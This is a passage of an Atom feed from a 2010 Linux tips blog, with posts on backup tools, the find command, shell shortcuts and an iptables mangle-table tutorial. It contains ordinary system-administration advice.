href='http://linux-techy.blogspot.com/2010/12/online-crontab-tool.html' title='Online Crontab Tool'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-5922021471199471894</id><published>2010-11-29T23:10:00.000+05:30</published><updated>2011-12-03T19:33:26.187+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Utility Softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='Backup Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Best backup tools in Linux.</title><content type='html'>Data lose is one of the major fears of the users.Disk failures &amp;amp; accidents are the common cause of data lose which can occur at any time, so it's really important to keep track of our data regularly. &lt;br /&gt;Backup tools comes with various features:&lt;br /&gt;-enable you to identify important files and directories that are then constantly monitored and regularly backed up. &lt;br /&gt;-perform incremental backups, which – after making a complete initial imprint of the directory – will then only make copies of new files or those that have changed since the last backup inorder to tackle redundancy. &lt;br /&gt;-compress your data so you can store it more efficiently. &lt;br /&gt;-tools that will encrypt your data when making copies. &lt;br /&gt;-GUI and command line flavours&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Some of the well known Linux Backup tools are:&lt;br /&gt;&lt;a href="http://andrewprice.me.uk/projects/pybackpack/"&gt;Pybackpack&lt;/a&gt;&lt;br /&gt;A vailable in most software repositories, Pybackpack is designed to be a friendly backup tool, and is notable for being easy to install manually thanks to its bundled Python installer script.&lt;br /&gt;Rating: 7&lt;br /&gt;&lt;a href="http://www.diffingo.com/oss/fwbackups"&gt;Fwbackups&lt;/a&gt;&lt;br /&gt;With Fwbackups, you can either perform on-demand backups or create sets and task Cron with automatically backing up your data. All this is conveniently offered from a slick graphical interface.&lt;br /&gt;Rating: 8&lt;br /&gt;&lt;a href="https://launchpad.net/deja-dup"&gt;Déjà Dup&lt;/a&gt;&lt;br /&gt;Duplicity, the command line gem that offers such features as remote backups and encrypted incremental archives, is just too exhaustive to cover here. Still, we've managed to find the best graphical front-end to Duplicity around: the brilliant Déjà Dup.&lt;br /&gt;Rating:9&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/backerupper/"&gt;Backerupper&lt;/a&gt;&lt;br /&gt;Although not available in the software repositories of any big-league distributions yet, Backerupper is still popular having received extensive blogosphere coverage. The tarball contains an install.sh script if you wish to install Backerupper to disk, but it works just as well without installation. Simply double-click the backer executable file.&lt;br /&gt;Rating:5&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/sbackup/"&gt;Simple Backup Suite&lt;/a&gt;&lt;br /&gt;The Simple Backup Suite, or Sbackup, is a set of Python scripts that provide two graphical interfaces: simple-backupconfig and simple-restore-gnome. Don't panic if it isn't part of your distro's repository – with its tiny dependency list, it's easy to install, even from source. &lt;br /&gt;Rating:6&lt;br /&gt;&lt;a href="http://backintime.le-web.org/"&gt;Back In Time&lt;/a&gt;&lt;br /&gt;Originally intended as a replacement for scp and the rcp tools, rsync is now often used for performing backups. There are many graphical tools that use it and Back In Time is just one.&lt;br /&gt;Rating:7&lt;br /&gt;&lt;a href="http://luckybackup.sourceforge.net/"&gt;LuckyBackup&lt;/a&gt; crams almost all the features of the tools we've covered so far into a single package, while trying to keep its interface clean and simple. Great tooltips and a comprehensive user manual help you to make sense of all that's on offer here. &lt;br /&gt;Rating:7&lt;br /&gt;&lt;a href="http://jr.falleri.free.fr/keep/wiki/Home"&gt;Keep&lt;/a&gt; &lt;br /&gt;Just like rsync, rdiff-backup is a command line utility to back up a directory to another location, even over a network. It's also similar to rsync in that it has inspired many graphical front-ends, and Keep is our weapon of choice for KDE. &lt;br /&gt;Rating:8&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://www.techradar.com/news/software/applications/best-linux-backup-software-8-tools-on-test-909380?artc_pg=1"&gt;http://www.techradar.com/news/software/applications/best-linux-backup-software-8-tools-on-test-909380?artc_pg=1&lt;/a&gt;&lt;br /&gt;*Ratings are provided by above site.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-5922021471199471894?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/5922021471199471894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/11/best-backup-tools-in-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5922021471199471894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5922021471199471894'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/11/best-backup-tools-in-linux.html' title='Best backup tools in Linux.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-733515936370836993</id><published>2010-11-27T08:12:00.000+05:30</published><updated>2010-11-27T08:12:32.403+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><title type='text'>Find command demystified-2</title><content type='html'>Find command can be used to copy move or delete files as we need.&lt;br /&gt;&lt;code class="plain plain"&gt;&amp;gt;find &lt;dir_path&gt; -name "*.mp3" -exec cp {} /path/to/folder \;&lt;/dir_path&gt;&lt;/code&gt;&lt;br /&gt;&lt;code class="plain plain"&gt;This command will move all your files to a particular /path/to/folder .&lt;/code&gt;&lt;br /&gt;&lt;code class="plain plain"&gt; &lt;/code&gt;&lt;br /&gt;&lt;code class="plain plain"&gt;Similarly you can move or delete files.&lt;/code&gt;&lt;br /&gt;&lt;code class="plain plain"&gt;&amp;gt;find &lt;dir_path&gt; -name "*.mp3" -exec cp {} /path/to/USB \;&lt;/dir_path&gt;&lt;/code&gt;&lt;br /&gt;&lt;code class="plain plain"&gt;&amp;gt;find &lt;dir_path&gt; -name '*.mp3' -exec rm {} \;&lt;/dir_path&gt;&lt;/code&gt;&lt;code class="plain plain"&gt; &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code class="plain plain"&gt;Find files using the ownership parameter.&lt;/code&gt;&lt;br /&gt;&lt;code class="plain plain"&gt;&amp;gt;&lt;/code&gt;&lt;code class="plain plain"&gt;find /path/to/folder -user &lt;username&gt; -name “*.doc”&lt;/username&gt;&lt;/code&gt;&lt;code class="plain plain"&gt;&amp;nbsp;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code class="plain plain"&gt;Direct the output of find command to a file.&lt;/code&gt;&lt;br /&gt;&lt;code class="plain plain"&gt;&amp;gt;&lt;/code&gt;&lt;code class="plain plain"&gt;find / -name "*.mp3" &amp;gt; record.txt&lt;/code&gt;&lt;br /&gt;&lt;code class="plain plain"&gt;This command will save the paths of all mp3 files in a txt file, record.txt.&lt;/code&gt;&lt;br /&gt;&lt;code class="plain plain"&gt; &lt;/code&gt;&lt;code class="plain plain"&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-733515936370836993?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/733515936370836993/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/11/find-command-demystified-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/733515936370836993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/733515936370836993'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/11/find-command-demystified-2.html' title='Find command demystified-2'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-766001028070011267</id><published>2010-11-26T09:45:00.002+05:30</published><updated>2010-11-26T10:17:31.477+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><title type='text'>Find command demystified.</title><content type='html'>find command is cool tool for searching lost items. Lets find the mystery in 'find': &lt;br /&gt;&lt;br /&gt;&amp;gt;find &lt;dir_path&gt; -name “abc.jpg”  &lt;br /&gt;&lt;dir_path&gt; is directory in which file is to be searched. Eg. '.' for present working directory. '/' for root [of course without single quotes].  &lt;br /&gt;&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;br /&gt;&lt;br /&gt;In using wildcards * denotes the part of file you don't remember or you're not sure. Suppose your searching the file mission-impossible-3.mov. Some of the possible find searches could be:  &lt;br /&gt;&amp;gt;find &lt;dir_path&gt; -name "mission*"&lt;br /&gt;&amp;gt;find &lt;dir_path&gt; -name "*mission*"&lt;br /&gt;&amp;gt;find &lt;dir_path&gt; -name "*impossible*" &lt;br /&gt;&amp;gt;find &lt;dir_path&gt; -name "mission*.mp3"&lt;br /&gt;&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Now, use find commands to search for files as per their size. +100M is used for file &amp;gt; 100Mb,similarly -100Mb for file &amp;lt; 100MB. G for Gb &amp;amp; k for kb.  find &lt;dir_path&gt; -size +100M&lt;br /&gt;find &lt;dir_path&gt; -size +10G&lt;br /&gt;find &lt;dir_path&gt; -size +100k&lt;br /&gt;find &lt;dir_path&gt; -size -100M&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Searching files with a particular extension&lt;br /&gt;&amp;gt;find &lt;dir_path&gt; -name "*.mp3"&lt;br /&gt;&amp;gt;find &lt;dir_path&gt; -name "*.png"&lt;br /&gt;&lt;br /&gt;Search according to the time of previous access of the file.&lt;br /&gt;&amp;gt;find &lt;dir_path&gt; -amin -10 -name "*.doc"&lt;br /&gt;&amp;gt;find &lt;dir_path&gt; -mmin -10 -name "*.doc" &lt;br /&gt;-10 for file access/modified in last 10 minutes. -amin/-mmin for files accessed/modified. [note -a &amp;amp; -m in -amin/-mmin].&lt;br /&gt;&lt;br /&gt;More will be covered in the next post!&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;/dir_path&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-766001028070011267?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/766001028070011267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/11/find-command-demystified.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/766001028070011267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/766001028070011267'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/11/find-command-demystified.html' title='Find command demystified.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-319850350912856552</id><published>2010-08-29T00:03:00.002+05:30</published><updated>2010-12-04T20:46:40.814+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><title type='text'>Linux Amazing Keypresses &amp; Commands : Set 3</title><content type='html'>1. Unmount busy drives &lt;br /&gt;You are probably all too familiar with the situation - you are trying to unmount a drive, but keep getting told by your system that it's busy. But what application is tying it up? A quick one-liner will tell you:&lt;br /&gt;$lsof +D /mnt/windows&lt;br /&gt;This will return the command and process ID of any tasks currently accessing the /mnt/windows directory. You can then locate them, or use the kill command to finish them off. &lt;br /&gt;&lt;br /&gt;2. su command&amp;nbsp; fast execution without logging in.&lt;br /&gt;$su --c [command]&lt;br /&gt;It enables you to issue a command in administrative mode directly after providing the superuser password. And when the command is executed the user is logged off to the previous user.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-319850350912856552?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/319850350912856552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/08/linux-amazing-keypresses-commands-set-3.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/319850350912856552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/319850350912856552'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/08/linux-amazing-keypresses-commands-set-3.html' title='Linux Amazing Keypresses &amp; Commands : Set 3'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-5233272494274369259</id><published>2010-08-15T23:14:00.001+05:30</published><updated>2010-12-04T20:46:40.816+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><title type='text'>Linux Amazing Keypresses &amp; Commands : Set 2</title><content type='html'>1. Some handy linux keyboard shortcuts!&lt;br /&gt;[alt][tab] Walk through windows. To walk backwards: [alt][shift][tab]&lt;br /&gt;[ctrl][tab] Walk through desktops. To walks backwards: [ctrl][shift][tab]&lt;br /&gt;[ctrl][esc] Show the table of processes running on my system. Allow me to kill any of the processes I started (or send other signals to them).&lt;br /&gt;[alt][f1] Access the K-menu ("Equivalent to MS Windows "Start" menu).&lt;br /&gt;[alt][f12] Emulate the mouse using the arrow keys on the keyboard.&lt;br /&gt;[alt][leftmousebutton] Drag a window to move it. Normally, I move a window by dragging its top title bar, but occassionally I manage to get it off the screen. With this shortcut, I can drag by any part of the window.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;[alt][printscreen] Take a snapshot of the current window into the clipboard.&lt;br /&gt;[ctrl][alt][printscreen] Take a snapshot of the entire desktop into the clipboard.&lt;br /&gt;[ctrl][alt][l] Lock the desktop.&lt;br /&gt;[ctrl][alt][d] Toggle hide/show the desktop (great to hide the Solitaire game when your boss walks in).&lt;br /&gt;&lt;br /&gt;2.&amp;nbsp; 'xkill' Command :&amp;nbsp; Kills on X-windows the process that we select by clicking it with the mouse. It's the same as kill but on graphical mode. Hotkey: Ctrl+Alt+ESC.&lt;br /&gt;&lt;br /&gt;3. 'at' Command : Scheduling&amp;nbsp; processes or tasks to be run at a particular time.&lt;br /&gt;Examples:&lt;br /&gt;Sets the computer to play the cd at 7:00. &lt;br /&gt;$at 7:00 cdplayd&lt;br /&gt;List the automatic programmed jobs.&lt;br /&gt;$time atq&lt;br /&gt;Delete automatic job number 8.&lt;br /&gt;$time atrm 8&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;br /&gt;4.&amp;nbsp; rdate : Synchronize system date &amp;amp; time.&lt;br /&gt;Shows the server date and time.&lt;br /&gt;$rdate -p ntp.nasa.gov&lt;br /&gt;Synchronizes your time and date with the server.&lt;br /&gt;$time rdate -s ntp.nasa.gov&amp;nbsp;&amp;nbsp;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-5233272494274369259?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/5233272494274369259/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/08/linux-amazing-keypresses-commands-set-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5233272494274369259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5233272494274369259'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/08/linux-amazing-keypresses-commands-set-2.html' title='Linux Amazing Keypresses &amp; Commands : Set 2'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-2999350161068769560</id><published>2010-07-14T12:08:00.002+05:30</published><updated>2010-12-04T20:46:40.818+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><title type='text'>Linux Amazing Keypresses &amp; Commands : Set 1</title><content type='html'>If you want to make your Linux working experience more comfortable &amp;amp; faster, then go through these commands.&lt;br /&gt;1. Linux commands on the console may often span many lines, and encountering a type mistake at the beginning of the command would require you to use the slow way of punching the right/left arrow keys to traverse in the command string.&lt;br /&gt;Remedy : Try Ctrl+e to move to the end of the command string and Ctrl+a to reach start. It’s the fastest way to edit a Linux command line. To delete a word in the command string, use Ctrl+w.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2. Another wonder of a simple shell variable is !$. Let’s say you have to create a directory, go into it and then rename it. So the flow of commands would be:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$ mkdir your_dir&lt;br /&gt;$ mv your_dir my_dir&lt;br /&gt;$ cd my_dir&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;Remedy: Well, Linux has a shorter and quicker way:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$ mkdir your_dir&lt;br /&gt;$ mv !$ my_dir&lt;br /&gt;$ cd !$&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;!$ points to the last string in the command string.&lt;br /&gt;&lt;br /&gt;3. Run the following code to get to know the basic block of any Linux command &amp;amp; what it does internally:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$ strace -c /usr/bin/ls&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;strace is a system call monitor command and provides information about system calls made by an application, including the call arguments and return value.&lt;br /&gt;&lt;br /&gt;4. For creating a chain of directories and sub-directories, something like /tmp/our/your/mine?&lt;br /&gt;Remedy: Try this:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$ mkdir -p /tmp/our/your/mine&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;5. One very interesting way to combine some related commands is with &amp;amp;&amp;amp; or ; .&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$ cd dir_name &amp;amp;&amp;amp; ls -alr &amp;amp;&amp;amp; cd ..&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-2999350161068769560?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/2999350161068769560/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/07/linux-amazing-keypresses-commands-set-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2999350161068769560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2999350161068769560'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/07/linux-amazing-keypresses-commands-set-1.html' title='Linux Amazing Keypresses &amp; Commands : Set 1'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-6033558381550864313</id><published>2010-06-27T21:22:00.005+05:30</published><updated>2011-12-03T19:33:26.193+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Enhance Linuxbox Security'/><title type='text'>Enhance Linux Box Security: Iptables made easy - tutorial part 4</title><content type='html'>This time we are concern with mangle rules of iptables.&lt;br /&gt;Mangling of packets is done only with NAT and is a part of the NAT process. In NAT, we can "mangle" a packet as modifying the Source IP address and Destination IP address fields of the IP header. &lt;br /&gt;Format of IP PACKET&lt;br /&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="150" width="445"&gt; &lt;param name="movie" value="http://www.britepic.com/britepic.swf"&gt;&lt;param name="FlashVars" value="id=1579624&amp;src=http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/ipacketformat.jpg&amp;show_ads=1&amp;show_menu=1&amp;href=http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/ipacketformat.jpg&amp;caption=IP%20PACKET%20FORMAT&amp;width=445&amp;height=150&amp;" &gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.britepic.com/britepic.swf" flashvars="id=1579624&amp;src=http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/ipacketformat.jpg&amp;show_ads=1&amp;show_menu=1&amp;href=http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/ipacketformat.jpg&amp;caption=IP%20PACKET%20FORMAT&amp;width=445&amp;height=150&amp;" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="transparent" type="application/x-shockwave-flash" width="445" height="150"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Using the mangle table of iptables we can modify the following three fields:&lt;br /&gt;• Set a mark to IP packets&lt;br /&gt;• TOS: the 8 bit Type Of Service field&lt;br /&gt;• TTL: the 8 bit Time to live field&lt;br /&gt;iptables can set a mark to IP packets that can be used internal by iproute2 for source routing and/or QoS. This internal mark, called nfmark (netfilter mark), doesn't alter any of the IP packet headers' fields. Nfmarks can be set using the MARK target in iptables, which has three options. &lt;br /&gt;MARK target options:&lt;br /&gt;--set-mark value                   Set nfmark value&lt;br /&gt;--and-mark value                   Binary AND the nfmark with value&lt;br /&gt;--or-mark  value                   Binary OR  the nfmark with value&lt;br /&gt;##mark packets to 192.168.1.100 with nfmark 6:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 1:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables -t mangle -A POSTROUTING -d 192.168.1.100 -j MARK --set-mark 6&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;The TOS field is 8 bits long. Alteration of the TOS field is very useful for QoS. For this, iptables uses TOS target that has the --set-tos option.&lt;br /&gt;TOS target options:&lt;br /&gt;--set-tos value           Set Type of Service field to one of the&lt;br /&gt;following numeric or descriptive values:&lt;br /&gt;Minimize-Delay 16 (0x10)&lt;br /&gt;Maximize-Throughput 8 (0x08)&lt;br /&gt;Maximize-Reliability 4 (0x04)&lt;br /&gt;Minimize-Cost 2 (0x02)&lt;br /&gt;Normal-Service 0 (0x00)&lt;br /&gt;## set TOS to Maximize-Throughput for outgoing FTP data:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 2:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables -t mangle -A POSTROUTING -p tcp --sport 20 -j TOS --set-tos 8&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;The TTL field of the IP packet header is the Time To Live for that IP packet, and can be altered using the TTL target of iptables. &lt;br /&gt;TTL target options&lt;br /&gt;--ttl-set value               Set TTL to &lt;value 0-255=""&gt;&lt;br /&gt;--ttl-dec value               Decrement TTL by &lt;value 1-255=""&gt;&lt;br /&gt;--ttl-inc value               Increment TTL by &lt;value 1-255=""&gt;&lt;br /&gt;Altering TTL can be useful, for example, if you want a client not to distribute Internet to others. If you set the TTL value to 1 for packets going to a certain IP address, then only the device having that IP address receives IP packets. If the packet is destined to a host behind that IP address, the TTL will be decremented and the IP packet will be dropped.&lt;br /&gt;## set TTL to 1 for packets going out interface ppp0:&lt;br /&gt;&lt;/value&gt;&lt;/value&gt;&lt;/value&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 3:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables -t mangle -I POSTROUTING -o ppp0 -j TTL --ttl-set 1&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-6033558381550864313?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/6033558381550864313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables_2179.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/6033558381550864313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/6033558381550864313'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables_2179.html' title='Enhance Linux Box Security: Iptables made easy - tutorial part 4'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-5448742789770863813</id><published>2010-06-27T15:46:00.004+05:30</published><updated>2011-12-03T19:33:26.166+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' 